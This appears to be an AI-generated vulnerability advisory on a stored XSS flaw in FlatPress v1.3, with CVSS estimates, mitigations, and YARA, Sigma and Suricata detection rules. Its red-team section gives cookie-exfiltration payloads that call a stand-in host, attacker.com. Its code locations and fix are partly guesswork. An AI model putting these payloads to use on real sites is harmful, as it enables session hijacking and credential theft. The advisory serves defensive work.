CVE-2024-33209

Executive Summary

CVE-2024-33209 identifies a stored Cross-Site Scripting (XSS) vulnerability in FlatPress v1.3, specifically within the "Add New Entry" functionality. An authenticated attacker can inject arbitrary JavaScript code into a blog entry, which is then executed in the browser of any user viewing that entry. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known but currently unpatched, placing all instances of FlatPress v1.3 at risk.

Supply Chain & Package Security

FlatPress is a flat-file CMS written in PHP. It does not rely on a package manager like NPM or PyPI, but its core files are distributed via GitHub and direct downloads. The lack of an official patch means administrators must manually apply mitigations or monitor for community fixes. The vulnerability is in the core application logic, not in a third-party library.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – the attacker sends the payload over HTTP.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – the attacker needs an editor or admin account.
• User Interaction (UI): Required (R) – a victim must view the malicious entry.
• Scope (S): Changed (C) – the XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – limited data exposure.
• Integrity (I): Low (L) – partial modification of content.
• Availability (A): None (N) – no impact on availability.

Estimated CVSS:3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Estimated Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires authentication, but the impact can be severe if an admin account is compromised.

Deep Dive & Mechanics

The vulnerability resides in the admin.php interface, specifically the "Add New Entry" form. FlatPress v1.3 does not properly sanitize or escape user-supplied input in the entry title or body fields before storing it in the flat-file database (typically fp-content/entries/). When another user (including the admin) views the entry, the stored JavaScript executes in their browser context.

Root Cause: Lack of output encoding when rendering entry content. The application uses htmlspecialchars() inconsistently or not at all for certain fields.

Attack Flow:

1. Attacker logs in with editor or admin privileges.
2. Navigates to admin.php?p=entry&action=write.
3. Injects a payload like <script>alert(document.cookie)</script> into the entry body.
4. Publishes the entry.
5. Victim visits the blog's front page or the specific entry URL.
6. The script executes, sending cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (FlatPress v1.3): In fp-includes/core/core.php or the entry rendering function, the output is not escaped:

// Vulnerable: direct echo of user input
echo $entry['content'];

Patched Code (Hypothetical Fix):

// Patched: escape output
echo htmlspecialchars($entry['content'], ENT_QUOTES, 'UTF-8');

The patch must be applied to all places where entry content is displayed, including the admin preview and public views.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A FlatPress v1.3 instance (e.g., Docker or local install).
• Valid editor/admin credentials.

Step-by-Step Exploit:

1. Log in to the admin panel.
2. Create a new entry with the following payload in the body:

   <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie;</script>
   

3. Publish the entry.
4. Send the victim the link to the entry (e.g., http://target/blog/index.php?id=1).
5. The victim's cookies are exfiltrated to the attacker's server.

Alternative Payload (Session Hijacking):

<script>
document.location='http://attacker.com/steal.php?c='+document.cookie;
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing <script> tags in POST data to admin.php.
• Look for unusual outbound connections from the web server (e.g., to unknown IPs on port 80/443).

Hardening:

• Apply a Content Security Policy (CSP) header to block inline scripts:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
  

• Use a Web Application Firewall (WAF) rule to block <script> tags in entry fields.
• Restrict admin access to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • POST requests to admin.php with action=write containing <script> tags.
• File IOCs:
  • Entry files in fp-content/entries/ containing JavaScript code.
  • Modified .htaccess or config.php files (if attacker escalates).
• Log IOCs:
  • Web server access logs showing requests to /index.php?id=X with referrer from admin panel.
  • Error logs with PHP warnings about unescaped output.

Detection Engineering

YARA Rule

rule FlatPress_XSS_Entry {
    meta:
        description = "Detects FlatPress entry files containing XSS payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33209"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of ($xss*) and filesize < 100KB
}

Sigma Rule

title: FlatPress Stored XSS via Add New Entry
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS payloads in FlatPress entry creation requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri|contains: 'admin.php'
        cs-uri-query|contains: 'action=write'
        cs-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in entries (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-33209 FlatPress Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/steal.php"; http_uri;
    content:"c="; http_uri;
    sid:1000001;
    rev:1;
    reference:cve,2024-33209;
    metadata:author "Valters IT";
)

Remediation & Mitigation

Immediate Actions:

1. Disable the "Add New Entry" feature for non-admin users until a patch is available.
2. Implement a WAF rule to block <script> tags in POST data to admin.php.
3. Apply CSP headers to mitigate XSS impact.

Long-Term Fix:

• Upgrade to a patched version once released (monitor FlatPress GitHub repository).
• Manually patch the code by adding htmlspecialchars() to all entry output points.
• Consider migrating to a more actively maintained CMS.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defense purposes only.